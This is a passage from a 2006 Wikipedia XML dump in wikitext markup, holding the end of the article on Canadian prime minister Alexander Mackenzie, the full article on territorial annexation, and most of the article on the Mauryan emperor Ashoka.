When the [[John A. Macdonald|Macdonald]] government fell due to the [[Pacific scandal]] in 1873, the [[Governor General of Canada|Governor General]], [[Frederick Hamilton-Temple-Blackwood, 1st Marquess of Dufferin and Ava|Lord Dufferin]], had to call on someone to form a government. There was no clear leader of the [[Liberal Party of Canada|Liberal Party]].  Mackenzie was the fourth person called upon, and the first to accept, the post of Prime Minister.  Mackenzie formed a government and then asked the Governor General to call an  [[Canadian federal election, 1874|election for January 1874]]. The Liberals won, and Mackenzie remained prime minister until the [[Canadian federal election, 1878|1878 election]] when Macdonald's [[Conservative Party of Canada (historical)|Conservatives]] returned to power with a [[majority government]].

As Prime Minister, Alexander Mackenzie strove to reform and simplify the machinery of government. He introduced the [[secret ballot]]; created the [[Supreme Court of Canada]]; established the [[Royal Military College]] of Canada in [[Kingston, Ontario]] in [[1874]]; created the Office of the Auditor General in 1878; and struggled to launch the [[Canadian Pacific Railway|national railway]]. After his government's defeat, Mackenzie remained [[Leader of the Opposition (Canada)|Leader of the Opposition]] until [[1880]], when he relinquished the party leadership to [[Edward Blake]]. 

At the time, it was customary for the [[British monarch]] to [[knight]] all Canadian Prime Ministers. Alexander Mackenzie declined all offers of a British [[knighthood]].

He died in [[Toronto]], [[Ontario]], from a stroke that resulted from hitting his head during a fall. He is buried in the Lakeview Cemetery, [[Sarnia, Ontario]].

== Supreme Court Appointments ==
Mackenzie appointed the following Justices to the [[Supreme Court of Canada]]:
* Sir [[William Buell Richards]] ([[Chief Justice of Canada|Chief Justice]]) - ([[September 30]], [[1875]] - [[January 10]], [[1879]])
* Sir [[William Johnstone Ritchie]] - ([[September 30]], [[1875]] - [[September 25]], [[1892]])
* Sir [[Samuel Henry Strong]] - ([[September 30]], [[1875]] - [[November 18]], [[1902]])
* [[Jean-Thomas Taschereau]] - ([[September 30]], [[1875]] - [[October 6]], [[1878]])
* [[Telesphore Fournier]] - ([[September 30]], [[1875]] - [[September 12]], [[1895]])
* [[William Alexander Henry]] - ([[September 30]], [[1875]] - [[May 3]], [[1888]])
* Sir [[Henri Elzear Taschereau]] - ([[October 7]], [[1878]] - [[May 2]], [[1906]])

== Helen Neil Mackenzie ==
'''Helen Neil Mackenzie''' ([[October 21]], [[1826]]-[[January 4]], [[1852]]) was the first wife of Alexander Mackenzie. She had three children, and died after being married to Mackenzie for seven years. Helen and Alexander only had one child (two other children died in infancy), a girl, named Mary Mackenzie. It was because of Helen, who previously emigrated to Canada with her family, that Alexander himself came to Canada.

== External links ==
{{wikiquote}}
*[http://www.biographi.ca/EN/ShowBio.asp?BioId=40374 Biography at the ''Dictionary of Canadian Biography Online'']

{{start box}}
{{succession box|
 before=[[George Brown (Canadian politician)|George Brown]]|
 title=[[Liberal Party of Canada|Leader of the Liberal Party of Canada]]|
 after=[[Edward Blake]]|
 years=1873-1880
}}
{{succession box|
 before=''vacant''|
 title=[[Leader of the Opposition (Canada)|Leader of the Opposition]]|
 after=[[John A. Macdonald|Sir John A. Macdonald]]|
 years=1873
}}
{{succession box|
 before=[[John A. Macdonald|Sir John A. Macdonald]]|
 title=[[Prime Minister of Canada]]|
 years=1873&amp;ndash;1878|
 after=[[John A. Macdonald|Sir John A. Macdonald]]
}}
{{succession box|
 before=[[John A. Macdonald|Sir John A. Macdonald]]|
 title=[[Leader of the Opposition (Canada)|Leader of the Opposition]]|
 after=[[Edward Blake]]|
 years=1878&amp;ndash;1880
}}
{{end box}}
{{start box}}
{{succession box|
 before=None|
 title=[[Lambton (electoral district)|MP for Lambton, ON]]|
 after=Abolished|
 years=1867&amp;ndash;1882
}}
{{succession box|
 before=[[Alfred Boultbee]]|
 title=[[York East|MP for York East, ON]]|
 after=[[William F. McLean]]|
 years=1882&amp;ndash;1892
}}
{{end box}}

{{canPM}}

{{Liberal Leaders}}

&lt;!-- Metadata: see [[Wikipedia:Persondata]] --&gt;
{{Persondata
|NAME=Mackenzie, Alexander
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=2nd Prime Minister of Canada ([[1873]]-[[1878]])
|DATE OF BIRTH=[[January 28]], [[1822]]
|PLACE OF BIRTH=[[Logierait]], [[Perthshire]], [[Scotland]]
|DATE OF DEATH=[[April 17]], [[1892]]
|PLACE OF DEATH=[[Toronto]]
}}

[[Category:1822 births|Mackenzie, Alexander]]
[[Category:1892 deaths|Mackenzie, Alexander]]
[[Category:Canadian businesspeople|Mackenzie, Alexander]]
[[Category:Canadian writers|Mackenzie, Alexander]]
[[Category:Leaders of the Liberal Party of Canada|Mackenzie]]
[[Category:Natives of Perth and Kinross|Mackenzie, Alexander]]
[[Category:Prime Ministers of Canada|Mackenzie, Alexander]]
[[Category:Sarnians|Mackenzie, Alexander]]
[[Category:Scottish Canadians|Mackenzie, Alexander]]
[[Category:Scottish business people|Mackenzie, Alexander]]
[[Category:Scottish writers|Mackenzie, Alexander]]
[[Category:Teetotalers|Mackenzie, Alexander]]
[[Category:Pre-Confederation Ontario people|Mackenzie, Alex]]

[[de:Alexander Mackenzie (Politiker)]]
[[fr:Alexander Mackenzie (politicien)]]
[[pl:Alexander Mackenzie (premier Kanady)]]
[[pt:Alexander Mackenzie]]</text>
    </revision>
  </page>
  <page>
    <title>Annexation</title>
    <id>1237</id>
    <revision>
      <id>41784233</id>
      <timestamp>2006-03-01T18:56:01Z</timestamp>
      <contributor>
        <username>Rmhermen</username>
        <id>835</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.213.67.178|24.213.67.178]] ([[User talk:24.213.67.178|talk]]) to last version by Arre</comment>
      <text xml:space="preserve">'''Annexation''' ([[Latin]] ''ad'', to, and ''nexus'', joining) is the legal incorporation of some territory into another geo-political entity (either adjacent or non-contiguous). Usually, it is implied that the territory and population being ''annexed'' is the smaller, more peripheral or weaker of the two merging entities. It can also imply a certain measure of coercion, [[expansionism]] or [[unilateralism]] on the part of the stronger of the merging entities. Because of this, more positive words like [[political union]] or [[reunification]] are sometimes preferred. 

== More detailed overview ==

Annexation may be the consequence of a voluntary cession from one state to another through purchase or other treaty, or of conversion from a protectorate or sphere of influence, or occupation through military conquest. A [[city]] might annex unincorporated areas or a [[country]] might annex other [[disputed territories]]. The assumption of a protectorate over another state, or of a [[sphere of influence]], is not strictly annexation, the latter implying the complete displacement in the annexed territory of the government or state by which it was previously ruled. 

In [[international relations]] the term ''annexation'' is usually applied when the emphasis is placed on the fact that territorial possession is achieved by force and unilaterally rather than through [[treaty|treaties]] or negotiations. The cession of [[Alsace-Lorraine]] to [[Germany]] by [[France]], although brought about by the war of 1870, was for the purposes of international law a voluntary cession. Under the treaty of [[December 17]], [[1885]], between the French Republic and the queen of [[Madagascar]], a French protectorate was established over this island. In 1896 this protectorate was converted by France into an annexation, and Madagascar then became &quot;French territory.&quot;  The formal annexation of [[Bosnia-Herzegovina]] by [[Austria]] ([[October 5]], [[1908]]) was an unauthorized conversion of an &quot;occupation&quot; authorized by the [[Treaty of Berlin, 1878|Treaty of Berlin]] (1878), which had, however, for years operated as a ''de facto'' annexation. A case of conquest was that effected by the [[South African War]] (Second Boer War)  of 1899–1902, in which the [[Transvaal Republic]] and the [[Orange Free State]] were extinguished, first ''de facto'' by occupation of the whole of their territory, and then ''[[de jure]]'' by terms of surrender entered into by the [[Boer]] generals acting as a government. 

By annexation, as between civilized peoples, the annexing state takes over the whole succession with the rights and obligations attaching to the ceded territory, subject only to any modifying conditions contained in the treaty of cession. These, however, are binding only as between the parties to them. In the case of the annexation of the territories of the Transvaal republic and Orange Free State, a rather complicated situation arose out of the facts, on the one hand, that the ceding states closed their own existence and left no recourse to third parties against the previous ruling authority, and, on the other, that, having no means owing to the ''de facto'' [[United Kingdom|British]] occupation, of raising money by taxation, the dispossessed governments raised money by selling certain securities, more especially a large holding of shares in the [[South African Railway Company]], to neutral purchasers. The [[British government]] repudiated these sales as having been made by a government which the British government had already displaced. The question of at what point, in a war of conquest, the state succession becomes operative is one of great delicacy. As early as [[January 6]], [[1900]], the high commissioner at [[Cape Town]] issued a proclamation giving notice that the British government would &quot;not recognize as valid or effectual&quot; any conveyance, transfer or transmission of any property made by the government of the Transvaal republic or Orange Free State subsequently to [[October 10]], [[1899]], the date of the commencement of the war. A proclamation forbidding transactions with a state which might still be capable of maintaining its independence could obviously bind only those subject to the authority of the state issuing it. Like paper [[blockade]]s and fictitious occupations of territory, such premature proclamations are viewed by international jurists as not being ''jure gentium''. The proclamation was succeeded, on [[March 9]], [[1900]], by another of the high commissioner at Cape Town, reiterating the notice, but confining it to &quot;lands, railways, mines or mining rights.&quot; And on [[September 1]], [[1900]] Lord Roberts proclaimed at [[Pretoria]] the annexation of the territories of the Transvaal republic to the British dominions. That the war continued for nearly two years after this proclamation shows how fictitious the claim of annexation was. The difficulty which arose out of the transfer of the South African Railway shares held by the Transvaal government was satisfactorily terminated by the purchase by the British government of the total capital of the company from the different groups of [[shareholder]]s (see on this case, Sir Thomas Barclay, ''[[Law Quarterly Review]]'', July 1905; and Professor Westlake, in the same ''Review'', October 1905). 

In a judgment of the [[Judicial Committee of the Privy Council]] in 1899 (''Cook'' v. ''Sprigg'', A.C. 572), [[Lord Chancellor]] Halsbury made an important distinction as regards the obligations of state succession. The case in question was a claim of title against the [[Crown]], represented by the government of [[Cape Colony]]. It was made by persons holding a concession of certain rights in eastern [[Pondoland]] from a native chief. Before the grantees had taken up their grant by acts of possession, Pondoland was annexed to Cape Colony. The colonial government refused to recognize the grant on different grounds, the chief of them being that the concession conferred no legal rights before the annexation and therefore could confer none afterwards, a sufficiently good ground in itself. The judicial committee, however, rested its decision chiefly on the allegation that the acquisition of the territory was an act of state and that &quot;no municipal court had authority to enforce such an obligation&quot; as the duty of the new government to respect existing titles. &quot;It is no answer,&quot; said Lord Halsbury, &quot;to say that by the ordinary principles of international law private property is respected by the sovereign which accepts the cession and assumes the duties and legal obligations of the former sovereign with respect to such private property within the ceded territory. All that can be meant by such a proposition is that according to the well-understood rules of international law a change of sovereignty by cession ought not to affect private property, but no municipal tribunal has authority to enforce such an obligation. And if there is either an express or a well-understood bargain between the ceding potentate and the government to which the cession is made that private property shall be respected, that is only a bargain which can be enforced by sovereign against sovereign in the ordinary course of diplomatic pressure.&quot; In an editorial note on this case the ''Law Quarterly Review'' of January 1900 (p. 1), dissenting from the view of the judicial committee that &quot;no municipal tribunal has authority to enforce such an obligation,&quot; the writer observes that &quot;we can read this only as meant to lay down that, on the annexation of territory even by peaceable cession, there is a total abeyance of justice until the will of the annexing power is expressly made known; and that, although the will of that power is commonly to respect existing private rights, there is no rule or presumption to that effect of which any court must or indeed can take notice.&quot; So construed the doctrine is not only contrary to international law, but according to so authoritative an exponent of the common law as Sir F. Pollock, there is no warrant for it in English [[common law]]. 

An interesting point of [[United States]] constitutional law arose out of the [[cession]] of the [[Philippines]] to the United States, through the fact that the [[Constitution of the United States|federal constitution]] does not lend itself to the exercise by the federal congress of unlimited powers, such as are vested in the [[British parliament]]. The sole authority for the powers of the [[United States Congress|federal congress]] is a written constitution with defined powers. Anything done in excess of those powers is null and void. The [[Supreme Court of the United States]], on the other hand, declared that, by the constitution, a government is ordained and established &quot;for the United States of America&quot; and not for countries outside their limits (''Ross's Case'', 140 U.S. 453, 464), and that no such power to legislate for annexed territories as that vested in the British [[Privy Council of the United Kingdom|Crown in Council]] is enjoyed by the president of the United States (''Field'' v. ''Clark'', 143 U.S. 649, 692). Every detail connected with the administration of the territories acquired from [[Spain]] under the [[Treaty of Paris]] ([[December 10]], [[1898]]) gave rise to minute discussion. 

== Examples of annexation ==

=== Hawai'i ===

In 1898, [[Hawaii]] (having moved from a [[Kingdom of Hawaii|Kingdom]] to a [[Republic of Hawaii|Republic]] five years earlier in the overthrow of Queen Liliuokalani) was annexed into the United States.

=== Texas ===
{{main|Texas Annexation}}
In 1836, the people of [[Texas]] voted to request that the United States annex Texas.  Concerned with [[United States Constitution|the constitutionality]] of annexation and for fear of offending the controlling power, [[Mexico]], however, the [[Martin Van Buren|Van Buren Administration]] rejected the request, which was eventually withdrawn.  In 1843, the United States became concerned with [[United Kingdom|British]] designs on Texas.  A new president, [[John Tyler]], became a proponent of annexation.  Following acceptance of the terms of annexation by the people of Texas, the young nation became a part of the United States in 1846.

=== Ohio City ===
[[Ohio City (Cuyahoga County), Ohio|Ohio City]], a suburb and fierce rival of [[Cleveland, Ohio]] was peacefully annexed to the city on [[June 5]], [[1854]].

=== City of Atlanta ===
In 1909 the [[United States|U.S.]] city of [[Atlanta]], then located only in [[Fulton County, Georgia|Fulton County]], annexed into part of neighboring [[DeKalb County, Georgia|DeKalb County]] (from which Fulton County had originally been divided).  The situation continues to provide some problems, such as when police arrest suspects on charges set forth in [[Georgia (U.S. state)|Georgia]] [[U.S. state|state]] law, and city police must determine which county's jail they must be taken to.

=== Jerusalem ===
In the aftermath of the 1967 [[Six Day War]], in which [[Israel]] had occupied East [[Jerusalem]] as well as the [[West Bank]], [[Gaza]] and the [[Golan Heights]], Israel declared East and West Jerusalem one united city, incorporating the eastern part into one municipality, but soon after declaring to the UN that its measures were not annexation.  In 1980 Israel passed the Jerusalem law, which redeclared the unity of Jerusalem as Israel's capital, but did not declare its borders.  Some consider the latter act annexation, but without explict declaration of sovereignty this is in doubt.  Israel's measures are not internationally recognized.

=== Golan ===
In 1981, Israel extended its &quot;laws, jurisdiction and administration&quot; to the [[Golan Heights]] (including the [[Shebaa Farms]]), which it captured from [[Syria]] in the 1967 [[Six Day War]].  This not entirely clear &quot;annexation&quot; declaration was declared &quot;null and void and without international legal effect&quot; by the [[United Nations]].

=== Kuwait ===
After being allied with [[Iraq]] during the [[Iran-Iraq War|Iran–Iraq War]] (largely due to desiring Iraqi protection from Islamic [[Iran]]), [[Kuwait]] was invaded and annexed by Iraq (under [[Saddam Hussein]]) in August 1990.  Hussein's primary justifications included a charge that Kuwaiti territory was in fact an Iraqi province, and that annexation was retaliation for &quot;economic warfare&quot; Kuwait had waged through [[slant drilling]] into Iraq's oil supplies.  The monarchy was deposed after annexation, and an Iraqi governor installed.

Though initially ambiguous toward a potential annexation of Kuwait by Iraq,{{fact}} US President [[George H. W. Bush]] ultimately condemned Hussein's actions, and moved to drive out Iraqi forces.  Authorized by the [[UN Security Council]], an [[United States|American]]-led coalition of 34 nations fought the [[Persian Gulf War]] to reinstate the Kuwaiti [[Emir]]. Hussein's invasion (and annexation) was deemed illegal and Kuwait remains an independent nation today.

=== Western Sahara ===

In 1975, [[Morocco]] invaded the former [[Spain|Spanish]] colony of [[Western Sahara]] and proclaimed it part of the kingdom. This has never been recognized internationally, and a nationalist movement, the [[Polisario Front]], representing the evicted [[Sahrawi]] native population, persists in claiming the area for an exiled [[Sahrawi Arab Democratic Republic|Sahrawi republic]]. A [[United Nations]] peace process was initiated in 1991, but it has been stalled, and the resumption of hostilities remain a possibility.

=== Wales ===
[[Wales]] was annexed to the legal system of [[England]] by the [[Laws in Wales Acts 1535-1542|Laws in Wales Acts 1535–1542]] to create a single jurisdiction, but references in legislation for 'England' were still taken as excluding Wales.  The [[Wales and Berwick Act 1746]] meant that in all future laws, 'England' would by default include Wales (and [[Berwick-upon-Tweed]]).  In 1967 the Wales and Berwick Act insofar as it applied to Wales was repealed. For many administrative and judicial purposes they are still treated as the single entity [[England and Wales]].

=== Korea ===
On [[August 22]], [[1910]], [[Korea]] was officially annexed by [[Japan]] with the [[Korea-Japan Annexation Treaty|Korea–Japan Annexation Treaty]] signed by [[Lee Wan-Yong]], [[Prime Minister of Korea]], and [[Masatake Terauchi]], Japanese Resident-General in Korea who became the [[Governor-General of Korea]]. Korea continued to be ruled by [[Japan]] until Japan's surrender to the Allied Forces on [[15 August]] [[1945]]. See [[Korea under Japanese rule]] for further information.

===Austria===
On [[March 12]], [[1938]], [[Nazi Germany]] annexed [[Austria]] in the ''[[Anschluss]]''. Austria's annexation marked the first major steps in [[Adolf Hitler]]'s long-desired expansion of Germany.  The country was liberated from Nazi power at the end of [[World War II]] by the [[Allies of World War II|Allied Forces]].

===Ethiopia===
On [[May 9]], [[1936]], [[Ethiopia]] was annexed by [[Italy]], only to be liberated during the Allied [[East African Campaign]].

==See also==
*[[Expansionism]]
*[[Fait accompli]]
*[[Status quo ante bellum]]
*[[Lebensraum]]
*[[Irredentism]]
*[[Revanchism]]
*[[Reunification]]
*Canadian [[Annexationist Movement]]

==References==

* Carman F. Randolph, ''Law and Policy of Annexation'' (New York and London, 1901)
* Charles Henry Butler, ''Treaty-making Power of the United States'' (New York, 1902), vol. i. p. 79 ''et seq''.
* {{1911}}

[[Category:International law]]
[[Category:Political geography]]

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      <comment>/* Embrace of Buddhism */  disambig servant</comment>
      <text xml:space="preserve">{{dablink|For other meanings, see [[Ashoka (disambiguation)]].}}
[[Image:Ashoka2.jpg|thumb|200px|Emperor Ashoka (a possible picturisation)]]
'''Ashoka the Great''' ([[Devanagari language|Devanagari]]: &amp;#2309;&amp;#2358;&amp;#2379;&amp;#2325;; [[IAST|IAST transliteration]]: ''{{IAST|Aşoka}}'') was the emperor of the [[Mauryan Empire]] from [[273 BCE]] to [[232 BCE]]. After a number of military conquests, Ashoka reigned over most of [[South Asia]] and beyond, from present-day [[Afghanistan]] to [[Bengal]] and as far south as [[Mysore]]. An early supporter of [[Buddhism]], Ashoka established monuments marking several significant sites in the life of [[Shakyamuni Buddha]], and according to Buddhist tradition was closely involved in the preservation and transmission of Buddhism. In his edicts he is reffered to as &quot;Devaanaampriya&quot; or &quot;The Beloved Of The Gods&quot;

The name &quot;Ashoka&quot; means &quot;without sorrow&quot; in [[Sanskrit]]. Ashoka was the first ruler of ancient [[Bharatavarsha]] ([[India]]), after the famed [[Mahabharata]] rulers, to unify such a vast territory under his empire, which in retrospect exceeds the boundaries of the present-day [[Republic of India]].

The [[British literature|British author]] [[H.G. Wells]] wrote of Ashoka: ''&quot;In the history of the world there have been thousands of kings and emperors who called themselves 'their highnesses,' 'their majesties,' and 'their exalted majesties' and so on. They shone for a brief moment, and as quickly disappeared. But Ashoka shines and shines brightly like a bright star, even unto this day.&quot;''


==Historical sources==
Information about the life and reign of Ashoka primarily comes from a relatively small number of Buddhist sources.  In particular, the [[Sanskrit]] ''[[Avadana|Ashoka Avadana]]'' ('Story of Ashoka') and the two [[Pāli]] chronicles of [[Sri Lanka]] (the [[Dipavamsa]] and [[Mahavamsa]]) provide most of the currently known information about Asoka.  Additional information is contributed by the [[Edicts of Asoka]], whose authorship was finally attributed to the Ashoka of Buddhist legend after the discovery of dynastic lists that gave the name used in the edicts ('''Priyadarsi'''- meaning 'good looking', or 'favored by the Gods') as a title or additional name of Ashoka Mauriya.

The use of Buddhist sources in reconstructing the life of Ashoka has had a strong influence on perceptions of Ashoka, and the interpretations of his edicts.  Building on traditional accounts, early scholars regarded Ashoka as a primarily Buddhist monarch who underwent a conversion to Buddhism and was actively engaged in sponsoring and supporting the Buddhist monastic institution.

Later scholars have tended to question this assessment.  The only source of information not attributable to Buddhist sources- the Ashokan edicts- make only a few references to Buddhism directly, despite many references to the concept of [[dharma]] (Sanskrit: [[dharma]]).  Some interpreters have seen this as an indication that Ashoka was attempting to craft an inclusive, poly-religious civil religion for his empire that was centered on the concept of ''dharma'' as a positive moral force, but which did not embrace or advocate any particular philosophy attributable to the religious movements of Ashoka's age (such as the [[Jain]]s, Buddhists, orthodox [[Brahmanism|Brahmanists]], and [[Ajivika]]s).  

Most likely, the complex religious environment of the age would have required careful diplomatic management in order to avoid provoking religious unrest.  Modern scholars and adherants of the traditional Buddhist perspective both tend to agree that Ashoka's rule was marked by tolerance towards a number of religious faiths.

==Early life==      
Ashoka was the son of the [[Maurya|Mauryan]] emperor [[Bindusara]] by a relatively lower ranked Queen known as Dharma. Dharma, it is said was the daughter of a poor Brahmin, who was introduced into the harem by her father as it was predicted that her son would be a great king. Understandably, her status in the harem was very low. Ashoka had several elder half-brothers and just one younger sibling, Vitthashoka, another son of Dharma.
The Buddhist sources also indicate that he was quite ugly.

==Rise to power==
Developing into an impeccable warrior general and a shrewd statesman, Ashoka went on to command several [[regiment]]s of the Mauryan army. His growing popularity across the empire made his elder brothers wary of his chances of being favoured by [[Bindusara]] to become the next emperor. The eldest of them, Prince [[Susima]], the traditional heir to the throne, persuaded Bindusara to send Ashoka to quell an uprising in the city of [[Takshashila]] in the north-west province of [[Sindh]], of which Prince Susima was the governor. Takshashila was a highly volatile place because of the war-like [[Indo-Greek]] population and mismanagement by Susima himself. This had led to the formation of different [[militia]]s causing unrest. Ashoka complied and left for the troubled area. As news of Ashoka's visit with his army trickled in, he was welcomed by the revolting militias and the uprising ended without a fight. (The province revolted once more during the rule of Ashoka, but this time the uprising was crushed with an iron fist). 

Ashoka's success made his half-brothers more wary of his intentions of becoming the emperor, and more incitements from Susima led Bindusara to send Ashoka into exile. He went into [[Orissa|Kalinga]] and stayed incognito there. There he met a fisherwoman named [[Kaurwaki]], with whom he fell in love; recently found inscriptions indicate that she went on to become his second or third queen.

Meanwhile, there was again a violent uprising in [[Ujjain]]. Emperor Bindusara summoned Ashoka back after an exile of two years. Ashoka went into Ujjain and in the ensuing battle was injured, but his generals quelled the uprising. Ashoka was treated in hiding so that loyalists of the Susima group could not harm him. He was treated by Buddhist monks and nuns. This is where he first learned the teachings of the [[Gautama Buddha|Buddha]], and it is also where he met Devi, who was his personal nurse and the daughter of a merchant from adjacent [[Vidisha]]. After recovering, he married her. Ashoka, at this time, was already married to Asandhimitra who was to be his much loved chief queen for many years till her death. She seems to have stayed on in Patliputra all her life.

The following year passed quite peacefully for him and Devi was about to deliver his first child. In the meantime, Emperor Bindusara took ill and was on his death bed. A clique of ministers lead by Radhagupta, who hated Susima, summoned Ashoka to take the crown, though Bindusara preferred Susima. As the Buddhist lore goes, in a fit of rage, Prince Ashoka attacked [[Pataliputra]] (modern day [[Patna]]), and killed all his brothers, including Susima, and threw their bodies in a well in Pataliputra. It is not known if Bindusara was already dead at this time. At that stage of his life, many called him '''Chanda Ashoka''' meaning murderer and heartless Ashoka.The Buddhist legends paint a gory picture of his sadistic activities at this time. Most are incredible, and must be read as supporting background to highlight the transformation Buddhism brought about later.

Ascending the throne, Ashoka expanded his empire over the next eight years, expanding it from the present-day boundaries of [[Bangladesh]] and the state of [[Assam]] in India in the east to the territory of present-day [[Iran]] and [[Afghanistan]] in the west; from the [[Pamir Knots]] in the north to the almost peninsular part of [[southern India]]. At that stage of his life, he was called '''Chakravarti''' which literally translates to &quot;he for whom the wheel of law turns&quot; (broadly meaning the emperor).

====Conquest of Kalinga====
[[Image:ashokan_empire.gif|right|thumb|250px|After the battle of Kalinga, Ashoka ruled most of the Indian subcontinent]]
While the early part of Ashoka's reign was apparently quite bloodthirsty, he became a follower of the Buddha's teaching after his conquest of Kalinga, on the east coast of India in the present-day state of [[Orissa]]. Kalinga was a state that prided itself on its [[sovereignty]] and [[democracy]]; with its monarchical-cum-parliamentary democracy, it was quite an exception in ancient Bharata, as there existed the concept of [[Rajdharma]], meaning the duty of the rulers, which was intrinsically entwined with the concept of bravery and [[Kshatriya dharma]].

The pretext for the start of the [[Kalinga War]] ([[265 BC]] or [[263 BC]]) is uncertain. One of Susima's brothers might have fled to Kalinga and found official refuge there. This enraged Ashoka immensely. He was advised by his ministers to attack Kalinga for this act of treachery. Ashoka then asked Kalinga's royalty to submit before his supremacy. When they defied this ''[[diktat]]'', Ashoka sent one of his generals to Kalinga to make them submit.

The general and his forces were, however, completely routed through the skilled tactics of Kalinga's commander-in-chief. Ashoka, baffled at this defeat, attacked with the greatest invasion ever recorded in Indian history until then. Kalinga put up a stiff resistance, but they were no match for Ashoka's brutal strength. The whole of Kalinga was plundered and destroyed: Ashoka's later edicts say that about 100,000 people were killed on the Kalinga side and 10,000 from Ashoka's army; thousands of men and women were deported.

==Embrace of Buddhism==
As the legend goes, one day after the war was over, Ashoka ventured out to roam the city and all he could see were burnt houses and scattered corpses. This sight made him sick and he cried the famous quotation, &quot;What have I done?&quot; The brutality of the conquest led him to adopt [[Buddhism]] and he used his position to propagate the relatively new philosophy to new heights, as far as ancient [[Rome]] and [[Egypt]]. From that point Ashoka, who had been described as &quot;the cruel Ashoka&quot; (''Chandashoka''), started to be described as &quot;the pious Ashoka&quot; (''Dharmashoka''). He propagated the Vibhajjvada school of Buddhism and preached it within his domain and worldwide from about [[250 BC]]. Emperor Ashoka undoubtedly has to be credited with the first serious attempt to develop a Buddhist [[polity]]. 

[[Image:MauryanCoin.JPG|thumb|300px|Silver punch-mark coins of the '''Mauryan empire''', bear Buddhist symbols such as the [[dharma wheel]], the elephant (previous form of the Buddha), the tree under which enlightenment happened, and the burial mound where the Buddha died (obverse). [[3rd century BC]].]]

Prominent in this cause were his son Venerable [[Mahindra]] and daughter [[Sanghamitra]] (whose name means &quot;friend of the [[Sangha]]&quot;), who established Buddhism in [[Ceylon]] (now [[Sri Lanka]]). He built thousands of [[stupa]]s and [[Vihara]]s for Buddhist followers. The Stupas of [[Sanchi]] are world famous and the stupa named Sanchi Stupa 1 was built by Emperor Ashoka. During the remaining portion of Ashoka's reign, he pursued an official policy of [[nonviolence]] or [[ahimsa]]. Even the unnecessary slaughter or mutilation of animals was immediately abolished. [[Wildlife]] became protected by the king's law against [[sport]] [[hunting]] and [[branding]]. Limited hunting was permitted for consumption reasons but Ashoka also promoted the concept of [[vegetarianism]]. Ashoka also showed mercy to those imprisoned, allowing them outside one day each year. He attempted to raise the professional ambition of the common man by building [[university|universities]] for study and water transit and [[irrigation]] systems for [[trade]] and [[agriculture]]. He treated his subjects as equals regardless of their religion, politics and [[caste]]. The kingdoms surrounding his, so easily overthrown, were instead made to be well-respected allies.

He is acclaimed for constructing [[hospital]]s for animals and renovating major roads throughout [[India]]. Dharmashoka defined the main principles of ''dharma'' (''dharma'' in [[Pāli]]) as nonviolence, [[tolerance]] of all [[sect]]s and opinions, [[obedience]] to parents, [[respect]] for the [[Brahman]]s and other religious teachers and [[priest]]s, [[liberal]] towards friends, humane treatment of [[servant (domestic)|servant]]s, and [[generosity]] towards all. These principles suggest a general ethic of behavior to which no religious or social group could object.

[[Image:AsokaKandahar.jpg|thumb|250px|left|Bilingual edict ([[Greek language|Greek]] and [[Aramaic]]) by king Ashoka, from [[Kandahar]]. [[Kabul]] Museum.]]
Some critics say that Ashoka was afraid of more wars, but among his neighbors, including the [[Seleucid Empire]] and the [[Greco-Bactrian]] kingdom established by [[Diodotus I]], none could match his strength. He was a contemporary of both [[Antiochus I Soter]] and his successor [[Antiochus II Theos]] of the [[Seleucid dynasty]] as well as Diodotus I and his son [[Diodotus II]] of the Greco-Bactrian kingdom. If his [[inscription]]s and [[edict]]s are well studied, one finds that he was familiar with the [[Hellenic world]] but never in awe of it. The [[Edicts of Ashoka]], which talk of friendly relations, give the names of both Antiochus of the Seleucid empire and [[Ptolemy III]] of [[Egypt]]. But the fame of the Mauryan empire was widespread from the time that Ashoka's grandfather [[Chandragupta Maurya]] defeated [[Seleucus I Nicator|Seleucus Nicator]], the founder of the [[Seleucid Dynasty]].

The [[Pillars of Ashoka|Ashoka Pillar]] at [[Sarnath]] is the most popular of the relics left by Ashoka. Made of [[sandstone]], this pillar records the visit of the emperor to Sarnath, in the [[3rd century BC]]. It has a [[Lion Capital of Asoka|four-lion capital]] (four lions standing back to back) which was adopted as the [[National emblem|emblem]] of the modern Indian republic. The lion symbolises both Ashoka's imperial rule and the kingship of the Buddha. In translating these monuments, historians learn the bulk of what is assumed to have been true fact of the Mauryan Empire. It is difficult to determine whether certain events ever happened, but the stone etchings depict clearly of how Ashoka wanted to be thought and how he wanted to be remembered.

Ashoka's own words as known from his Edicts are: &quot;All men are my children. I am like a father to them. As every father desires the good and the happiness of his children, I wish that all men should be happy always.&quot; Edward D'Cruz interprets the Ashokan ''dharma'' as a &quot;religion to be used as a symbol of a new imperial unity and a cementing force to weld the diverse and heterogeneous elements of the empire&quot;.

'''See also''': [[Edicts of Ashoka]]

==Death and legacy==
[[Image:Asoka1.gif|thumb|right|200px|Ashoka's first rock inscription at [[Girnar]]]]
Emperor Ashoka ruled for an estimated forty years, and after his death, the Maurya dynasty lasted just fifty more years. Ashoka had many wives and children, but their names are lost to time. [[Mahindra]] and [[Sanghamitra]] were twins born by his fourth wife, [[Devi]], in the city of [[Ujjain]]. He had entrusted to them the job of making his state religion, Buddhism, more popular across the known and the unknown world. [[Mahindra]] and [[Sanghamitra]] went into [[Sri Lanka]] and converted the King, the Queen and their people to Buddhism. So they were naturally not the ones handling state affairs after him.
In his old age, he seems to have come under the spell of his youngest wife Tishyarakshita. It is said that she had got his son Kunala, the regent in Takshashila, blinded by a wily stratagem. When Ashoka discovered this he had Kunala's son Samprati declared the successor. But his rule did not last long after Ashoka's death.

[[Image:AshokaCapital.jpg|left|thumb|200px|The [[Emblem of India]] is a replica of [[Ashoka Pillar]]]]

The reign of Emperor Ashoka Maurya could easily have disappeared into history as the ages passed by, and would have, if he had not left behind a record of his trials. The testimony of this wise king was discovered in the form of magnificently sculpted pillars and boulders with a variety of actions and teachings he wished to be published etched into the stone. What Ashoka left behind was the first written language in India since the ancient city of [[Harappa]]. Rather than Sanskrit, the language used for inscription was the current spoken form called [[Prakrit]].

In the year [[185 BC]], about fifty years after Ashoka's death, the last Mauryan ruler, [[Brhadrata]], was brutally murdered by the commander-in-chief of the Mauryan armed forces, [[Pusyamitra Sunga]], while he was taking the Guard of Honor of his forces. Pusyamitra Sunga founded the [[Sunga dynasty]] ([[185 BC]]-[[78 BC]]) and ruled just a fragmented part of the Mauryan Empire.

